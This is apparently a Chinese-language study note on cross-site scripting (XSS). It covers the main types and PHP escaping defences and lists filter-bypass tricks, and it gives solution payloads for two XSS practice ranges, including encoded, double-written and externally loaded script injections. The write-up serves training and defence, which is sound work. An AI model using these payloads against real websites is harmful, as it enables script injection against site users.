XXS技术
XXS简介与分类
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
下面是一些常见的XSS分类:
反射性XSS
攻击者事先准备好攻击请求,被攻击人去使用这个链接的时候就会触发XSS恶意代码。
存储型XSS
存储型XSS代码是存储在服务器内的,危害比较大。
DOM型XSS
跟存储型XSS类似,不过不同的是该类型能伪装成页面元素。
XSS的攻击与防御
一般我们在发现XSS插入点后,使用XSS平台辅助进行攻击。
XSS靶场
XSS平台_1 XSS平台_2
XSS绕过手法
无论哪一种XSS绕过方法,都需要试探出目标主要过滤了什么东西。
- HTML实体编码绕过
- HTML实体编码+URLENCODE编码绕过
- NATIVE绕过
- ``代替括号
<svg> 与十六进制实体编码相结合- 换行绕过
- 不闭合绕过
- –!>闭合绕过
- url特性引入自定义JS绕过
- 双渲染绕过
- on监听器绕过
- js伪协议绕过
- 双写绕过
CTF特训营中的XSS绕过手法
关键字过滤大部分时针对敏感变量或者函数而进行的,我们可以通过字符串拼接和编码解码等方式绕过。
字符串拼接与混淆
- Javascript中的对象方法可以使用数组来进行调用
window['alert'](/xss/)
编码解码
- HTML进制编码
- CSS进制编码
- Javascript进制编码
- URL编码
- JSFuck编码
过滤关键字
- 过滤()
在Javascript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对() 的过滤。
window.onerror=alert; throw 1;
- 过滤空格
过滤空格可以使用/ 来代替空格绕过过滤,也可以使用0x09、0x10、0x12、0x0a、0x13等
<input/οnfοcus=alert(/xss/)>
XSS的防御手法
无论是反射型还是存储型我们都可以使用PHP函数htmlentities 或者htmlspecialchars 进行转义。如果是存储型XSS需要转义后,这两个函数有所不同:
htmlentities :会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。htmlspecialchars :只转义& 、" 、' 、< 、> 这几个代码。
XSS平台_1 · WP
<script>alert(1)</script>
</textarea><script>alert(1)</script>
"><script>alert(1)</script>
<script>alert`1`</script>
<svg><script>alert(1)</script>
<img src="x" onerror="alert(1)">
--!><script>alert(1)</script>
onclick
="alert(1)"
<img src="x" onerror="alert(1)" <!-- HTML容错率特别高,少输入一个>亦可以进行识别 -->
</style
>
<img src="x" onerror="alert(1)"
<style>
https://www.segmentfault.com@507.cool/"></script><img src="x" onerror="alert(1)">
http:s://www.segmentfault.com@xss.haozi.me/j.js
<svg><script>alert(1)</script>
<img src="x" onerror="alert(1)">
<img src="x" onerror="alert(1)">
123')
alert(1);
-->
<?cript src="https://xss.haozi.me/j.js"></script>
');
alert(1)//
</script>
<script>
alert(1)
");alert(1)//
\");
alert(1);
--> //
XXS平台_2 · WP
<script>alert(1)</script>
keyword=test" > <script>alert(1)</script> -->
keyword=' οnclick='alert(1)
keyword=%22 οnclick="alert(1)
keyword="><a href="javascript:alert(1)">
keyword=123"><SCRIPT>alert(1)</SCRipt>
keyword=123"><a hrhrefef=javascscriptript:alert(1)><img sRc=""
<!-- 这次过滤的挺严格,但是存在双写绕过 -->
keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2334%3B%26%2349%3B%26%2334%3B%26%2341%3B
keyword=javascrip%26%23116%3B%3Aalert%281%29%2F%2Fhttp%3A%2F%2Fbaidu.com
keyword=<>&t_sort=" type="text" οnclick="alert(1)
123" type="text" οnclick="alert(1)
123" type="text" οnclick="alert(1)
user=" type="text" οnclick="alert(1)"
src='http://106.14.75.106:82/level1.php?name=<img src=asd onerror=alert(1)>'
keyword=<img%0asrc=asd%0aοnerrοr="alert(1)"
arg01=%0aonmousedown&arg02='alert(1)'
arg01=%0aonmousedown&arg02='alert(1)'
|